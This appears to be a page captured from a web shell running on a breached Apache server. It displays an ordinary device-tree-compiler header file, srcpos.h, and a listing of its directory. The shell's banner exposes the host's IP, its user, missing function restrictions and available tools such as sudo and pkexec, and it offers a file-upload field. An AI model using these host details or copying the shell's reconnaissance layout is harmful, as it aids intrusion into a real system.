Server IP : 103.169.32.36 / Your IP : 216.73.216.202 Web Server : Apache System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : apache ( 48) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/dtc/ |
Upload File : |
| Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/dtc//srcpos.h |
/*
* Copyright 2007 Jon Loeliger, Freescale Semiconductor, Inc.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#ifndef _SRCPOS_H_
#define _SRCPOS_H_
#include <stdio.h>
struct srcfile_state {
FILE *f;
char *name;
char *dir;
int lineno, colno;
struct srcfile_state *prev;
};
extern FILE *depfile; /* = NULL */
extern struct srcfile_state *current_srcfile; /* = NULL */
/**
* Open a source file.
*
* If the source file is a relative pathname, then it is searched for in the
* current directory (the directory of the last source file read) and after
* that in the search path.
*
* We work through the search path in order from the first path specified to
* the last.
*
* If the file is not found, then this function does not return, but calls
* die().
*
* @param fname Filename to search
* @param fullnamep If non-NULL, it is set to the allocated filename of the
* file that was opened. The caller is then responsible
* for freeing the pointer.
* @return pointer to opened FILE
*/
FILE *srcfile_relative_open(const char *fname, char **fullnamep);
void srcfile_push(const char *fname);
int srcfile_pop(void);
/**
* Add a new directory to the search path for input files
*
* The new path is added at the end of the list.
*
* @param dirname Directory to add
*/
void srcfile_add_search_path(const char *dirname);
struct srcpos {
int first_line;
int first_column;
int last_line;
int last_column;
struct srcfile_state *file;
};
#define YYLTYPE struct srcpos
#define YYLLOC_DEFAULT(Current, Rhs, N) \
do { \
if (N) { \
(Current).first_line = YYRHSLOC(Rhs, 1).first_line; \
(Current).first_column = YYRHSLOC(Rhs, 1).first_column; \
(Current).last_line = YYRHSLOC(Rhs, N).last_line; \
(Current).last_column = YYRHSLOC (Rhs, N).last_column; \
(Current).file = YYRHSLOC(Rhs, N).file; \
} else { \
(Current).first_line = (Current).last_line = \
YYRHSLOC(Rhs, 0).last_line; \
(Current).first_column = (Current).last_column = \
YYRHSLOC(Rhs, 0).last_column; \
(Current).file = YYRHSLOC (Rhs, 0).file; \
} \
} while (0)
/*
* Fictional source position used for IR nodes that are
* created without otherwise knowing a true source position.
* For example,constant definitions from the command line.
*/
extern struct srcpos srcpos_empty;
extern void srcpos_update(struct srcpos *pos, const char *text, int len);
extern struct srcpos *srcpos_copy(struct srcpos *pos);
extern char *srcpos_string(struct srcpos *pos);
extern void srcpos_dump(struct srcpos *pos);
extern void srcpos_verror(struct srcpos *pos, char const *, va_list va)
__attribute__((format(printf, 2, 0)));
extern void srcpos_error(struct srcpos *pos, char const *, ...)
__attribute__((format(printf, 2, 3)));
extern void srcpos_warn(struct srcpos *pos, char const *, ...)
__attribute__((format(printf, 2, 3)));
extern void srcpos_set_line(char *f, int l);
#endif /* _SRCPOS_H_ */
| N4m3 |
5!z3 |
L45t M0d!f!3d |
0wn3r / Gr0up |
P3Rm!55!0n5 |
0pt!0n5 |
| .. |
-- |
September 29 2025 07:01:30 |
0 / 0 |
0755 |
|
| libfdt |
-- |
September 29 2025 07:01:30 |
0 / 0 |
0755 |
|
| | | | | |
| Makefile |
1.011 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| Makefile.dtc |
0.363 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| checks.c |
20.102 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| data.c |
5.142 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc-lexer.l |
5.444 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc-lexer.lex.c_shipped |
57.526 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc-parser.tab.c_shipped |
67.757 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc-parser.tab.h_shipped |
2.79 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc-parser.y |
10.084 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc.c |
7.145 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| dtc.h |
7.376 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| fdtdump.c |
3.633 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| fdtget.c |
8.575 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| fdtput.c |
8.346 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| flattree.c |
21.846 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| fstree.c |
2.217 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| livetree.c |
13.586 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| srcpos.c |
7.463 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| srcpos.h |
3.653 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| treesource.c |
5.962 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| util.c |
6.242 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| util.h |
4.437 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|
| version_gen.h |
0.041 KB |
November 06 2023 09:15:52 |
0 / 0 |
0644 |
|